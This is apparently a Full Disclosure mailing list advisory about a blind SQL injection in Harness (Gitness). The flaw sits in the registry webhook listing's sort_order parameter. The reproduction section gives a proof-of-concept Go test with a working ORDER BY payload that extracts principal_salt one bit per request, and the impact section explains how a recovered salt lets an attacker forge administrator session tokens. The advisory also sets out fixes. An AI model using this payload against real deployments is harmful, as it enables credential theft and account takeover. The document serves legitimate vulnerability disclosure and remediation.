From: Khashayar Fereidani <info () fereidani com>
Date: Thu, 24 Sep 2026 03:12:34 +0000
# harness registry webhook sort_order blind SQL injection
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection
**Contact:** https://fereidani.com/contact
## Description
Harness open source (Gitness) is a self-hosted platform for source control,
pipelines and artifact registries. The registry API lists the webhooks of a
registry at `GET /registry/{ref}/webhooks` with optional `sort_field` and
`sort_order` query parameters. The controller copies the raw query-string
bytes of `sort_order` into the DAO call with no normalization
(`registry/app/api/controller/metadata/list_webhooks.go:80`):
```go
sortByField := ""
sortByOrder := ""
if r.Params.SortOrder != nil {
sortByOrder = string(*r.Params.SortOrder)
}
if r.Params.SortField != nil {
sortByField = string(*r.Params.SortField)
}
webhooks, err := c.WebhooksRepository.ListByRegistry(
ctx,
sortByField,
sortByOrder,
...
)
```
The DAO allowlists the sort field but interpolates the order clause raw
(`registry/app/store/database/webhook.go:224`):
```go
validSortFields := map[string]string{
"name": "registry_webhook_name",
}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder))
}
```
Every other value in the query is bound as a parameter; only the ORDER BY
fragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by
oapi-codegen as a plain `type SortOrder string`
(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no
runtime enum validation, so any bytes survive from the query string to the
SQL text.
The project already has the correct guard and applies it everywhere else.
`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)
coerces anything that is not `DESC` to `ASC`, and the sibling request-info
helpers call it on every other listing endpoint
(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook
listing builds its parameters inline and is the one call path that skips the
normalization. A second raw interpolation of the same pair sits in the
upstream proxy DAO, which concatenates both field and order with no allowlist
at all (`registry/app/store/database/upstream_proxy.go:338`):
```go
q = q.OrderBy(" r.registry_" + sortByField + " " + sortByOrder).
Limit(ulimit).
Offset(uoffset)
```
Its callers currently normalize through the base helpers, but the DAO trusts
its inputs, so a caller-side fix alone leaves a second unsafe path behind.
## Reproduction
The DAO assembles the SQL with squirrel before any database round trip, so
the injection is visible without a database. The in-package test below
registers a mock driver that records the statement `ListByRegistry`
prepares, and requests the webhook list with the attack payload as
`sort_order`, exactly what `GET
/registry/{ref}/webhooks?sort_field=name&sort_order=<payload>`
reaches:
```go
package database
import (
"context"
"database/sql"
"database/sql/driver"
"errors"
"strings"
"testing"
"github.com/jmoiron/sqlx"
)
type recordDriver struct{ lastQuery string }
func (d *recordDriver) Open(string) (driver.Conn, error) { return
&recordConn{d: d}, nil }
type recordConn struct{ d *recordDriver }
func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
c.d.lastQuery = q
return nil, errors.New("captured")
}
func (c *recordConn) Close() error { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil,
errors.New("no tx") }
func TestPocSQLi(t *testing.T) {
rec := &recordDriver{}
sql.Register("recorder-poc", rec)
sdb, err := sql.Open("recorder-poc", "unused")
if err != nil {
t.Fatal(err)
}
repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))
payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from
principals limit 1),1,1)='a')" +
" THEN registry_webhook_name ELSE registry_webhook_id END)"
_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)
sent := rec.lastQuery
for _, needle := range []string{"SELECT CASE WHEN", "principal_salt",
"registry_webhook_id END"} {
if !strings.Contains(sent, needle) {
t.Fatalf("payload fragment %q missing from SQL sent to the
database:\n%s", needle, sent)
}
}
t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}
```
Run it inside a checkout of harness/harness:
```sh
go test ./registry/app/store/database/ -run TestPocSQLi -v
```
Observed output on main at commit 912a1f3 (fields truncated):
```text
--- PASS: TestPocSQLi (0.00s)
poc_sqli_test.go:47: SQL SENT TO DATABASE:
SELECT registry_webhook_id, ... FROM registry_webhooks
WHERE registry_webhook_registry_id = $1
ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN
(substr((select principal_salt from principals limit 1),1,1)='a')
THEN registry_webhook_name ELSE registry_webhook_id END)
LIMIT 10 OFFSET 0
```
The `$1` binding shows that every other value is parameterized; the payload
sits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a
CASE keyed on `substr` of any database value flips the row order (or raises
an error) depending on the condition, which leaks one boolean per request.
That is a full blind extraction primitive for any value the database user
can read, one character and one bit at a time.
## Impact
Blind SQL injection (CWE-89) reachable by any authenticated user who has
view permission on any registry (`enum.PermissionRegistryView` is the gate at
`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic
target is `principals.principal_salt`: the JWT authenticator verifies session
tokens with HMAC keyed only by that salt
(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker
forge a valid session token for that principal, including administrators.
The salt column is excluded from API responses (`json:"-"`,
`registry/types/principal.go:37`), which is exactly why the database has to
be read through the query itself.
The injection is read-side exfiltration: the surrounding query is fully
parameterized and the PostgreSQL driver does not run stacked queries, so the
attacker cannot write to the database through this path.
## Solution
Validate at both ends. The controller should normalize the parameter with
the guard its siblings already use, which collapses any input to `ASC` or
`DESC`:
```go
sortByOrder = GetSortByOrder(sortByOrder)
```
But the DAO is the component that assembles the SQL, so it should not accept
free text in the first place. An allowlist at the sink holds regardless of
which caller reaches it:
```go
validSortOrders := map[string]struct{}{"ASC": {}, "DESC": {}}
if _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {
sortByOrder = "ASC"
}
```
The upstream proxy DAO needs the same treatment for both parameters: an
allowlist for the sort field (it currently concatenates the raw string onto
a column prefix) and the same order check, so a future caller that forgets
to normalize cannot reopen the hole.
Until a fix lands, block or rewrite the `sort_order` parameter of the
webhook listing at the reverse proxy in front of the deployment; anything
that is not exactly `asc` or `desc` (case-insensitive) can be dropped.
## Timeline
- 2026-09-24: Reported publicly as harness/harness#3724, found while
scanning popular repositories with my static analyzer. The project's
earlier security reports had gone unanswered; the current main branch
(912a1f3) is affected.
## References
- [harness/harness#3724 - blind SQL injection via sort_order in
registry webhook
listing](https://github.com/harness/harness/issues/3724)
- [harness/harness -
registry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)
- [harness/harness -
registry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)
- [harness/harness -
registry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)
- [CWE-89: Improper Neutralization of Special Elements used in an SQL
Command](https://cwe.mitre.org/data/definitions/89.html)
- [CWE-200: Exposure of Sensitive Information to an Unauthorized
Actor](https://cwe.mitre.org/data/definitions/200.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- harness(gitness) registry webhook sort_order blind SQL injection Khashayar Fereidani (Sep 26)